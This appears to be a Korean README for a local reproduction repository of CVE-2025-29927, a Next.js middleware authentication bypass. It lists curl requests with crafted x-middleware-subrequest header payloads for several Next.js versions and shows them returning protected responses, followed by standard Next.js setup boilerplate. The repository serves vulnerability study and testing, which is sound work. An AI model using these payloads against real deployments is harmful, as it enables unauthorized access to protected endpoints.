
do not use. vulnerable
이 저장소는 next 패키지의 CVE-2025-29927 취약점 재현을 위한 것입니다
/api/hello 엔드포인트에 대한 인증이 차단되는지 테스트합니다$ curl http://localhost:3000/api/hello
{"error":"Unauthorized"}%
$ curl -H "Authorization: my-jwt-token-here" http://localhost:3000/api/hello
{"message":"Hello World"}%
x-middleware-subrequest 헤더에 middleware를 5번 중첩하여 우회할 수도 있습니다:curl -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" http://localhost:3000/api/hello
{"message":"Hello, World"}
Next.js 12 및 13 버전은 미들웨어 파일(_middleware.js)의 명명 규칙이 달랐으며, 이는 Next.js 14에서 middleware.js로 변경되었습니다. 이 취약점은 구형 버전에서 _middleware.js 파일을 사용하여 악용될 수 있습니다.
예를 들어, Next.js 버전과 라우팅 규칙에 따라 다음 페이로드가 적용됩니다:
curl -H "x-middleware-subrequest: middleware" http://localhost:3000/api/hello (Next.js 12.2 버전에서 middleware.js 파일이 pages 디렉토리 내부가 아닌 앱 루트에 있는 경우)curl -H "x-middleware-subrequest: src/middleware" http://localhost:3000/api/hellocurl -H "x-middleware-subrequest: _middleware" http://localhost:3000/api/hello (Next.js 11 버전부터 12.2까지)curl -H "x-middleware-subrequest: pages/_middleware" http://localhost:3000/api/hellocurl -H "x-middleware-subrequest: pages/admin/_middleware" http://localhost:3000/api/hello먼저 개발 서버를 실행하세요:
npm run dev
# or
yarn dev
# or
pnpm dev
# or
bun dev
브라우저에서 http://localhost:3000을 열어 결과를 확인하세요.
app/page.js를 수정하여 페이지를 편집할 수 있습니다. 파일을 수정하면 페이지가 자동으로 업데이트됩니다.
이 프로젝트는 next/font를 사용하여 Vercel의 새로운 폰트 패밀리인 Geist를 자동으로 최적화하고 로드합니다.
Next.js에 대해 더 알아보려면 다음 자료를 참조하세요:
Next.js GitHub 저장소를 확인해보세요 - 피드백과 기여를 환영합니다!
Next.js 앱을 배포하는 가장 쉬운 방법은 Next.js 제작자가 만든 Vercel 플랫폼을 사용하는 것입니다.
자세한 내용은 Next.js 배포 문서를 확인하세요.